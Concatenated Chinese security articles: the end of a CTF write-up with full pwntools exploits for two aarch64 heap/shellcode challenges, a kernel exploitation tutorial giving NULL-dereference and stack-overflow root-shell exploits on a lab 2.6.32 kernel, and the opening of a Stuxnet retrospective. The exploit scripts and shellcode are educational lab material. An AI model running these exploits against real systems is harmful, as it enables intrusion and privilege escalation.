base`相关地址落在实际上没有被释放的堆块上，这样我们再调用 `show`功能时就能获得 `libc base`地址
#### tcache poison
此时我们已经知道了 `libc基址`
因此，这一步只需要利用上一步构造的堆块重叠，通过越界写的方式将 `free_hook`写到 `tcache`链上完成投毒
之后申请该chunk，写入 `system`地址，free一个内容为 `binsh`的chunk，完成整个利用，详见`EXP`
### EXP
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_
from pwn import *
import inspect
from sys import argv
def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = '/lib/libc.so.6'
binary = './apollo'
context.binary = binary
elf = ELF(binary,checksec=False)
p = process(["qemu-aarch64", "-L", ".","-g", "1234","./apollo"])
if len(argv) > 1:
if argv[1]=='r':
p = remote('8.140.179.11',13422)
# libc = elf.libc
libc = ELF(remote_libc)
def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()
# start
# context.log_level = 'DEBUG'
"""
b *(0x4000000000+0x0e14) 跳转函数
b *(0x4000000000+0x1620)
b *(0x4000000000+0xeb8)
b *(0x4000000000+0xed0)
b *(0x4000000000+0x2400) show
b *(0x4000000000+0x2550) finish
:10:finish
*:1:add
+:3:set_light
-:4:del_light
/:2:del
M:0:init
a:7:left
d:8:right
p:9:show
s:6:up
w:5:down
map 0x40000140b0
calloc_1 0x40009af270
calloc_2 0x40009af380
current_y 0x40000140a4
current_x 0x40000140a8
step_count 0x4000014080
read_got 0x4000013f30
chunk0 0x40009af490
"""
def init(y,x):
data = 'M' + p8(y) + p8(x)
return data
def add(y,x,size):
data = '*'+p8(y)+p8(x)+p16(size)
return data
def free(y,x):
data = '/'+p8(y)+p8(x)
return data
def set_light(y,x,light):
data = '+'+p8(y)+p8(x)+p8(light)
return data
def del_light(y,x):
data = '-'+p8(y)+p8(x)
return data
def up():
return 's'
def down():
return 'w'
def left():
return 'a'
def right():
return 'd'
ru("cmd>")
pl = init(0x10,0x10)
pl+= set_light(0xf,8,2)
# ------------------------------------------ 1 利用offbyone修改chunk0的size，之后free进usbin，造成堆块重叠的同时将含有
#------------------------------------------- libc_base的地址写入堆块，之后切割堆块并通过show功能输出libc_base
for i in range(5):
pl+= add(0,9+i,0x10)
for i in range(5):
pl+= add(1,9+i,0x10)
for i in range(4):
pl+= add(2,9+i,0x90)
for i in range(4):
pl+= add(3,9+i,0x90)
for i in range(4):
pl+= free(3,0xc-i)
for i in range(3):
pl+= free(2,0xc-i)
# off by one
pl+= 'd'*8
pl+= 'sw'*69
pl+= 's'*0x10
# free修改过size的chunk，堆块重叠
pl+= free(0,9)
# 切割堆块，在chunk2位置写下libc base
pl+= add(4,9,0x30)
# show 泄露地址
pl+= 'p'
# -------------------------------------------- 2 tcache poison, set free_hook to system then
pl+= free(0,12)
pl+= free(0,10)
pl+= free(4,9)
pl+= add(4,9,0x30)
pl+= add(4,10,0x10)
pl+= add(4,11,0x10)
# -------------------------------------------- 3 trigger get shell
pl+= free(4,10)
s(pl)
sleep(0.1)
for i in range(10):
s('/bin/sh\x00')
sleep(0.1)
for i in range(9):
s('\x02')
sleep(0.1)
# pause()
ru('pos:0,11\n')
base = uu64(r(3))+0x4000000000 - 0x154ad0
system_addr = sym('system')+base
free_hook = sym('__free_hook')+base
leak(base)
leak(system_addr)
leak(free_hook)
poison = p64(0)*3 + p64(0x21)
poison+= p64(free_hook)*2
s(poison)
sleep(0.1)
s('/bin/sh\x00')
sleep(0.1)
s(p64(system_addr))
# end
itr()
## Queit
### 分析
同样的思路，先整理 `jump_table`和 `func_table`，同时这道题中有一些函数也没有正确显示，需要安装之前的方法手动调整
:8:sub_10E4
#:5:sub_1154
(:0:sub_11D8
):1:sub_11C4
*:2:sub_11A8
/:3:sub_118C
@:4:sub_1170
G:9:sub_1098
[:6:sub_1134
]:7:sub_1118
之后看一下`input`函数, 这道题相比上一道题要简单很多，基本上看伪代码就OK了
在这个函数里，程序会依照 `jump_table`将用户的输入翻译为 `index`，并以此去执行 `func_table`中的函数
此时各个寄存器中存放的值为
x0 要执行的函数地址
x21 翻译后的索引值 chunk1
x22 ** qword_12070
x27 x23 chunk2
void input()
{
_BYTE *chunk; // x21
int v1; // w0
int index; // w1
_BYTE *chunk_addr; // x0
int chr; // t1
__int64 fnc_table[11]; // [xsp+60h] [xbp+60h]
__printf_chk(1LL, "cmd> ", &_stack_chk_guard, 0LL);
chunk = malloc(0x1000uLL);
v1 = getpagesize();
memset((void *)qword_12070, 0, v1);
read(0, chunk, 0x1000uLL);
fnc_table[0] = (__int64)off_12010;
fnc_table[1] = (__int64)off_12018;
fnc_table[2] = (__int64)off_12020;
fnc_table[3] = (__int64)off_12028;
fnc_table[4] = (__int64)off_12030;
fnc_table[5] = (__int64)off_12038;
fnc_table[6] = (__int64)off_12040;
fnc_table[7] = (__int64)off_12048;
fnc_table[8] = (__int64)off_12050;
fnc_table[9] = (__int64)off_12058;
fnc_table[10] = (__int64)off_12060;
if ( malloc(0x200uLL) )
{
index = (unsigned __int8)*chunk;
chunk_addr = chunk;
if ( *chunk )
{
do
{
*chunk_addr = jump_table[index];
chr = (unsigned __int8)*++chunk_addr;
index = chr;
}
while ( chr );
}
*chunk_addr = 8;
__asm { BR X0 }
}
exit(-1);
}
在这里我们要关注的函数是 `sub_1154`和 `sub_11D8`
这两个函数一个会接收一个字符存入 `** qword_12070`，另一个会令 `（** qword_12070）+ 1`
而 `** qword_12070`的地址是有执行权限的，因此我们可以利用这两个函数写入 `shellcode`
之后只需通过 `loc_1098`即可劫持控制流执行`shellcode`
整个思路比较清晰，就不再赘述了，详见EXP
### EXP
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_
from pwn import *
import inspect
from sys import argv
def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
inf = lambda data :success(data)
itr = lambda :p.interactive()
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = './lib/libc-2.27.so'
binary = './quiet'
context.binary = binary
elf = ELF(binary,checksec=False)
p = process(['qemu-aarch64', '-L','.', '-g', '1234','quiet'])
if len(argv) > 1:
if argv[1]=='r':
p = remote('',)
# libc = elf.libc
libc = ELF(remote_libc)
def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()
# start
context.log_level = 'DEBUG'
"""
:8:sub_10E4
#:5:sub_1154
(:0:sub_11D8
):1:sub_11C4
*:2:sub_11A8
/:3:sub_118C
@:4:sub_1170
G:9:sub_1098
[:6:sub_1134
]:7:sub_1118
x0 func
x21 翻译后的索引值 chunk1
x22 ** qword_12070
x27 x23 chunk2
"""
def input():
return '#)'
def trigger():
return 'G'
sc = asm(shellcraft.sh())
pl = input()*len(sc)
pl+= trigger()
sa('cmd> ',pl)
sleep(0.1)
for i in range(len(sc)):
s(p8(sc[i]))
# end
itr()
## 总结
其实总的来说这两道题过于考验pwn师傅的逆向能力，有种为了出题而出题的感觉 hhhh， 但是整体做下来还是有几点收获的
1. 在看不懂题目汇编的时候一定要去调试，关注各个寄存器中的地址，有没有和程序有联系的，在这两道题中就是 `jump_table`和`func_table`，这对帮助理解题目有很大帮助，如果生啃汇编的话一会人就废了
2. 在题目逻辑比较复杂，IDA对于一些函数或变量的分析有问题时，可以通过人工手段来进行调整，方便我们理解，包括但不限于 `创建函数`、`创建结构体`、`修改变量类型`等等
* 在做异构题目时，需要频繁的用 `gdb-multiarch`连接题目，如果觉得烦的话可以写一个小脚本
// debug
file apollo
set architecture aarch64
set endian little
b *0x0000000000
target remote :123456
连接时只需输入 `gdb-multiarch -x debug` 即可
## 参考
* <https://xuanxuanblingbling.github.io/ctf/pwn/2021/04/03/hufu/> | 社区文章 |
# 【系列分享】Linux 内核漏洞利用教程（二）：两个Demo
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[o0xmuhe](http://bobao.360.cn/member/contribute?uid=32403999)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【系列分享】Linux 内核漏洞利用教程（一）：环境配置**
****](http://bobao.360.cn/learning/detail/3700.html)
**
**
**0x00: 前言**
本篇文章将介绍两种简单的kernel exploit姿势，分别是：
NULL Dereference
Kernel Stack Overflow
**0x01: NULL Dereference**
**1\. 介绍**
古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行
**2\. 漏洞代码**
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file,const char *buf,unsigned long len)
{
my_funptr();
return len;
}
static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!n");
create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
return 0;
}
static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exitn");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
Makefile如下
obj-m := null_dereference.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
可以看到，vuln code中my_funptr函数指针指向不定，可以劫持之后代码执行。
把驱动编译好，然后把*.ko文件丢进busybox那个文件系统中去，方便后面挂载使用。
**3\. PoC**
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "xe9xeaxbexadx0b";//jmp 0xbadbeef
int main(){
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
return 0;
}
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/null_dereference [4:17:06]
$ gcc -static poc.c -o poc
poc.c: In function ‘main’:
poc.c:11:5: warning: incompatible implicit declaration of built-in function ‘memcpy’ [enabled by default]
memcpy(0, payload, sizeof(payload));
^
poc.c:11:5: warning: null argument where non-null required (argument 1) [-Wnonnull]
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/null_dereference [4:17:51]
$ cp poc ../../busybox-1.19.4/_install/usr
然后qemu启动系统，启动的时候按下ctrl+alt+2
然后gdb去连接
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1 [4:12:41]
$ gdb vmlinux
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
186 (current_stack_pointer & ~(THREAD_SIZE - 1));
gdb-peda$ b *0x0
Breakpoint 1 at 0x0
gdb-peda$ c
Continuing.
然后qemu中ctrl+alt+1切换回去，然后进入usr目录，挂载驱动后运行poc程序。
gdb里反汇编查看当前执行的指令
**4\. exploit**
**1.思路**
给当前进程赋予root权限
commit_creds(prepare_kernel_cred(0));
下面取得commit_creds和prepare_kernel_cred地址：
/ # grep commit_creds /proc/kallsyms
c11b7bc0 T security_commit_creds
c15f8ed0 r __ksymtab_commit_creds
c16024d0 r __kcrctab_commit_creds
c1609215 r __kstrtab_commit_creds
/ # grep prepare_kernel_cred /proc/kallsyms
c1067fc0 T prepare_kernel_cred
c15f8eb0 r __ksymtab_prepare_kernel_cred
c16024c0 r __kcrctab_prepare_kernel_cred
c16091d9 r __kstrtab_prepare_kernel_cred
**2.编写shellcode**
xor %eax,%eax
call 0xc1067fc0
call 0xc1067e20
ret
$ gcc -o payload payload.s -nostdlib -Ttext=0
$ objdump -d payload
payload: file format elf32-i386
Disassembly of section .text:
00000000 <__bss_start-0x100d>:
0: 31 c0 xor %eax,%eax
2: e8 b9 7f 06 c1 call c1067fc0 <_end+0xc1066fb0>
7: e8 14 7e 06 c1 call c1067e20 <_end+0xc1066e10>
c: c3 ret
得到shellcode
shellcode="x31xc0xe8xb9x7fx06xc1xe8x14x7ex06xc1xc3"
我们需要分配0地址空间然后放入shellcode，然后jmp过去执行shellcode，使当前进程有root权限，然后执行一个system("/bin/sh");在程序返回用户态之后拿到一个root的shell。
**3\. exploit**
$ cat exploit.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "x31xc0xe8xb9x7fx06xc1xe8x14x7ex06xc1xc3";
int main()
{
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
system("/bin/sh");//get root shell
return 0;
}
**5\. get root shell**
然后新建用户去测试exploit。
但是得到报错：
这是因为，2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096，需要设置下mmap_min_addr。
# sysctl -w vm.mmap_min_addr="0"
设置之后重新运行exploit
成功拿到root shell
**0x02 : Kernel Stack Overflow**
**1\. 介绍**
和用户态的栈溢出原理一样，拷贝、拼接字符串的时候未作长度检查，导致覆盖栈上保存的返回地址，只后可以劫持程序流程，从而实现代码执行的效果。只不过这是在内核空间，可以直接用来提权。
**2\. 漏洞代码**
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
char localbuf[8];
memcpy(localbuf,buf,len);
return len;
}
static int __init stack_smashing_init(void)
{
printk(KERN_ALERT "stack_smashing driver init!n");
create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
return 0;
}
static void __exit stack_smashing_exit(void)
{
printk(KERN_ALERT "stack_smashing driver exit!n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
obj-m := stack_smashing.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
**3\. PoC**
poc代码如下：
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
char buf[24] = {0};
memset(buf,"A",24);
*((void**)(buf + 20)) = 0x42424242;
int fd = open("/proc/bug2",O_WRONLY);
write(fd,buf,sizeof(buf));
}
可以看到payload结构很简单，直接就是buffer+eip的结构。按照第一篇文章中的步骤，编译poc，然后构建文件系统，qemu起内核后，运行poc。
这里就有个问题，我们编译的kernel默认开启canary的，如果直接这么去运行poc，会直接kernel
panic，无法利用，所以我们需要关闭canary选项，重新编译一个内核。
编辑.config文件，注释掉CONFIG_CC_STACKPROTECTOR这一行，然后重新编译内核。
注释掉之后，重新编译内核，再起内核，跑我们的PoC。
这个时候发现，eip被覆盖成了0x42424242 。
**1 调试注意事项**
模块在编译后按照上篇文章的方法，丢进busybox，然后qemu起内核然后调试。
由于模块并没有作为vmlinux的一部分传给gdb，因此必须通过某种方法把模块信息告知gdb，可以通过add-symbol-file命令把模块的详细信息告知gdb，由于模块也是一个elf文件，需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。
模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data，由于stack_smashing模块没有bss、data节区所以只需要指定text即可。
**2 调试过程**
qemu 中设置好gdbserver后，找到模块的.text段的地址grep 0
/sys/module/stack_smashing/sections/.text。
然后gdb里：
$gdb vmlinux
....
....
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
186 (current_stack_pointer & ~(THREAD_SIZE - 1));
gdb-peda$ add-symbol-file ./stack_smashing/stack_smashing.ko 0xc8830000
add symbol table from file "./stack_smashing/stack_smashing.ko" at
.text_addr = 0xc8830000
Reading symbols from ./stack_smashing/stack_smashing.ko...done.
gdb-peda$ b bug2_write
Breakpoint 1 at 0xc8830000: file /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c, line 7.
gdb-peda$ c
Continuing.
运行poc之后
gdb-peda$ x/20i $pc
=> 0xc8830000 <bug2_write>: push ebp
0xc8830001 <bug2_write+1>: mov ebp,esp
0xc8830003 <bug2_write+3>: push edi
0xc8830004 <bug2_write+4>: push esi
0xc8830005 <bug2_write+5>: sub esp,0x8
0xc8830008 <bug2_write+8>: nop DWORD PTR [eax+eax*1+0x0]
0xc883000d <bug2_write+13>: mov eax,ecx
0xc883000f <bug2_write+15>: mov esi,edx
0xc8830011 <bug2_write+17>: shr ecx,0x2
0xc8830014 <bug2_write+20>: lea edi,[ebp-0x10]
0xc8830017 <bug2_write+23>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
0xc8830019 <bug2_write+25>: mov ecx,eax
0xc883001b <bug2_write+27>: and ecx,0x3
0xc883001e <bug2_write+30>: je 0xc8830022 <bug2_write+34>
0xc8830020 <bug2_write+32>: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
0xc8830022 <bug2_write+34>: add esp,0x8
0xc8830025 <bug2_write+37>: pop esi
0xc8830026 <bug2_write+38>: pop edi
0xc8830027 <bug2_write+39>: pop ebp
0xc8830028 <bug2_write+40>: ret
gdb-peda$ b *0xc8830028
Breakpoint 2 at 0xc8830028: file /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c, line 12.
gdb-peda$ c
Continuing.
Warning: not running or target is remote
Breakpoint 2, 0xc8830028 in bug2_write (file=<optimized out>, buf=0xbf99da64 'H' <repeats 20 times>, "BBBB", len=0x18)
at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c:12
12 }
gdb-peda$ x/10i $pc
=> 0xc8830028 <bug2_write+40>: ret
0xc8830029: push ebp
0xc883002a: mov ebp,esp
0xc883002c: push eax
0xc883002d: call 0xc10038d8 <mcount>
0xc8830032: mov DWORD PTR [esp],0xc8830084
0xc8830039: call 0xc142b9bc <printk>
0xc883003e: leave
0xc883003f: ret
0xc8830040: add al,0x0
gdb-peda$ ni
Warning: not running or target is remote
0x42424242 in ?? ()
gdb-peda$
发现eip被覆盖成了预期的值。
**4 exploit**
**1\. 思路**
拿到shell的思路还是利用commit_creds(prepare_kernel_cred(0))，然后返回到用户模式，返回到用户模式执行iret指令
关于iret指令:
当使用IRET指令返回到相同保护级别的任务时，IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器，并弹出标志寄存器内容到EFLAGS寄存器。
当使用IRET指令返回到一个不同的保护级别时，IRET不仅会从堆栈弹出以上内容，还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。
栈上保存了trap frame，返回到用户模式的时候，恢复信息从以下得得结构读取
struct trap_frame
{
void* eip; // instruction pointer +0
uint32_t cs; // code segment +4
uint32_t eflags; // CPU flags +8
void* esp; // stack pointer +12
uint32_t ss; // stack segment +16
} __attribute__((packed));
那么get root
shell的思路就是：先去执行commit_creds(prepare_kernel_cred(0))，然后返回到用户模式，执行起shell，也就是说先把当前进程权限提到root，然后执行起shell操作，那么我们就可以得到一个root的shell了。
需要的两个函数地址如下：
**2\. 编写exploit**
exploit 代码如下
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067b20;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067980;
void payload(void){
//payload here
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(void){
char buf[24];
memset(buf,0x41,24);
*((void**)(buf+20)) = &payload; //set eip to payload
init_tf_work();
write(1,buf,sizeof(buf));
int fd = open("/proc/bug2",O_WRONLY);
//exploit
write(fd,buf,sizeof(buf));
return 0;
}
**3\. 调试exploit**
先要做一些准备工作：
确定模块代码节地址
gdb设置
然后就可以返回到系统中，运行exploit程序了。
对ret指令下断，然后c过去，这时候单步的话，应该就ret到我们payload的地址了。
查看一下栈顶的情况：
接下来，我们单步，直行进入我们的payload。
这里可以看到先去执行commit_creds(prepare_kernel_cred(0))了。
我们主要关注iret的时候：
红色部分就是我们伪造的tf结构啦！
这边可以看到eip指向是我们用来起shell的函数，这样看来整个payload结构是没什么问题的。
**5 get root shell**
下面我们添加用户，然后测试exploit：
经测试，可以直接拿到一个root的shell，提权成功~
**0x03:引用与参考**
[0x9k 's doc](http://local://base_request.html/#)
[linux_kernel_exploit](https://tc.gtisc.gatech.edu/bss/2014/r/kernel-exploits.pdf)
[mmap_min_addr – Debian Wiki](https://wiki.debian.org/mmap_min_addr)
**传送门**
* * *
[**【系列分享】Linux 内核漏洞利用教程（一）：环境配置**
****](http://bobao.360.cn/learning/detail/3700.html) | 社区文章 |
**作者： 安天CERT
公众号：[震网事件的九年再复盘与思考](https://mp.weixin.qq.com/s?__biz=MjM5MTA3Nzk4MQ==&mid=2650173867&idx=1&sn=6b12446b10650f6c00784a63d3c486fb&chksm=beb9d29989ce5b8facbbad4c31886e98184461da5ced81e802a4f1c5e7c90f36c45d8e594de6&mpshare=1&scene=1&srcid=&sharer_sharetime=1570502559868&sharer_shareid=bafb2678ed1f77a340809d0b35c3d277&key=d67a32a1db8c21399407307af21fe041636d80b18f42c3dd13b85c2220cecc49917cd63f0e77e2a65bccb138e9fb7a8990bd3d183b17b72572c5c494cca50511ac5b9177f229567d4328e22d57389777&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=PxUxM6YK9p7HcU3t552gknPFG3j0UjkzADorBWc90iLY4m6HZb7qkEoKXYb4UEwi
"震网事件的九年再复盘与思考")**
### **1、小序**
2010年7月，“震网”（Stuxnet）蠕虫攻击事件浮出水面，引发了国际主流安全厂商和安全研究者的全面关注，安天、卡巴斯基、赛门铁克等安全厂商，Ralph
Langne等著名安全研究者，以及多国的应急组织和研究机构，都投入到了全面的分析接力中。最终使这场攻击的大量细节被呈现出来：这是一起经过长期规划准备和入侵潜伏作业；借助高度复杂的恶意代码和多个零日漏洞作为攻击武器；以铀离心机为攻击目标；以造成超压导致离心机批量损坏和改变离心机转数导致铀无法满足武器要求为致效机理，以阻断伊朗核武器进程为目的的攻击。
9年的时间过去了，这一安全事件依然在安天的研究视野中。安天从2010年7月15日展开对震网的分析工作，搭建了模拟环境，在9月27日发布了《对Stuxnet蠕虫攻击工业控制系统事件的综合分析报告》[1]，在后续形成了对其传播机理进行分析的《对Stuxnet蠕虫的后续分析报告》[2]，以及分析其对工业生产过程作用机理的《WinCC后发生了什么》[3]系列分析报告。
安天提出了震网与毒曲（Duqu）同源的猜测，并先后发表了两篇验证性报告，并启动了对火焰（Flame）恶意代码的马拉松式的模块分析。在工作推进中，安天逐步认识到震网、毒曲、高斯（Gauss）、火焰，这些高度复杂的恶意代码间存在着同样的背景联系。这些研究工作对安天后续展开对方程式组织（Equation）的深度分析起到了非常重要的作用。
由于历史原因，其中部分研究文献并未公开，而一些分析进展是碎片化的，虽然在我们的对外技术演讲中有所提及，但并未作为文献发布。这是安天编写这篇文献的原因之一。震网的整体运行框架、USB摆渡机理和传播失控分析，以及图解Tilded框架与Flamer框架的关联，将震网、火焰、毒曲、高斯、Fanny、Flowershop之间的关系进行串接的相关章节，是对这些成果的整理。
今天看来，在前期分析震网系列事件的过程中，我们缺少一种真正意义上的框架化方法。依然更多的是从自身习惯的反恶意代码视角来看待整个攻击过程。尽管我们给震网这样的复杂攻击提出了一个A2PT（即高级的高级可持续性威胁）的命名，但分析中始终缺乏作业到作战视角的思考。在相关专家的指导下，我们对网空博弈、敌情想定有了新的体悟，逐渐从威胁框架视角进行方法论切换，实现自我能力完善。也希望通过威胁框架这一视角来解读“震网”这场看起来依然高度复杂的“昨天的战争”。>2PT（即高级的高级可持续性威胁）的命名，但分析中始终缺乏作业到作战视角的思考。在相关专家的指导下，我们对网空博弈、敌情想定有了新的体悟，逐渐从威胁框架视角进行方法论切换，实现自我能力完善。也希望通过威胁框架这一视角来解读“震网”这场看起来依然高度复杂的“昨天的战争”。
本文也详细解读了一个值得思考的问题，震网作为一种没有感染属性的蠕虫，为何会有大量的样本存在。这个原理我们在早期的分析工作中已经发现，即震网的载荷投放程序，在每落地一台机器时，会有一个内嵌配置数据的自我更新，从而导致震网的每次落地形成的主执行体的HASH均不同，同时其实际攻击载荷多数均被包裹在主DLL之中，并不落地。而震网的相关域名则是在其已经达成其主体作业效果的情况下才被曝光的。这从某种意义上也昭示了面对更高级、隐蔽的攻击行动，以HASH、域名等为主体的威胁情报实际上早就面对着无效的危机。
**图 1-1 震网事件时间轴**
### **2、为什么是震网**
在信息技术发展历史上，出现过大量典型的安全事件，但为什么“震网”被视为具有威胁里程碑意义？震网被认为是第一个以现实世界中的关键工业基础设施为目标的恶意代码，并达到了预设的攻击目标，或者说，这是第一个“网络空间”意义上的重大攻击事件，而非传统的网络攻击事件。尽管此前也存在着一些通过信息攻击手段影响工业设施的传闻，但基本都缺乏技术层面的实证支撑。
从安天此前提出的观点来看，震网的里程碑意义并不是在于其相对其他简单的网络攻击的复杂性和高级性，而在于其证实了通过网络空间手段进行攻击，可以达成与传统物理空间攻击（甚至是火力打击）的等效性。在2016年的报告中，安天研究人员将上世纪70、80年代的“凋谢利刃与巴比伦行动”（在1977年~1981年间发生的以、美联合，在两伊战争期间针对伊拉克核反应堆进行军事打击的事件）与震网事件进行对比分析看出，通过大量复杂的军事情报和成本投入才能达成的物理攻击效果仅通过网络空间作业就可以达成，而且成本也大大降低。正如美国陆军参谋长前高级顾问Maren
Leed所讲的——网络武器可以有许多适应环境的属性，从生命周期的成本角度看，它们比其他的武器系统更为优越[4]。
**表 2-1 两次针对中东国家核计划所采用的军事行动与准军事行动的对比分析**
| **凋谢利刃与巴比伦行动（传统物理攻击伊拉克）** | **震网行动（网络空间攻击伊朗）**
---|---|---
**被攻击目标** | 伊拉克核反应堆 | 伊朗纳坦兹铀离心设施
**时间周期** | 1977-1981年 | 2006-2010年
**人员投入** | 以色列空军、特工人员、伊朗空军、美国空军和情报机构 | 美、以情报和军情领域的软件和网络专家，工业控制和核武器的专家
**作战准备** | 多轮前期侦查和空袭，核反应堆情报 | 战场预制、病毒的传播和相关核设施情报
**各方装备投入** | 伊：2架F-4鬼怪式以12枚MK82减速炸弹-轰炸核反应堆假设工地；10架F-4袭击伊拉克H-3空军基地。以：2架F-4E(S)-侦查任务；8架F-16A(美方提供)、4架F-15A、2架F-15B、16枚MK84炸弹-空袭反应堆模拟搭建反应堆特工人员暗杀伊拉克关键人员美：战略卫星和情报、空中加油机 | 编制震网病毒模拟搭建离心机和控制体系
**前期成本** | 18个月模拟空袭训练，训练2架F-4鬼怪攻击坠毁，3名飞行员阵亡 | 跨越两位总统任期，经历了5年的持续开发和改进
**毁伤效果** | 反应堆被炸毁，吓阻了法国供应商继续提供服务，伊拉克核武器计划永久迟滞 |
导致大量离心机瘫痪，铀无法满足武器要求，几乎永久性迟滞了伊朗核武器计划
**效费比** | 打击快速，准备期长，耗资巨大，消耗大，行动复杂，风险高 | 周期长，耗资相对军事打击低，但更加精准、隐蔽，不确定性后果更低
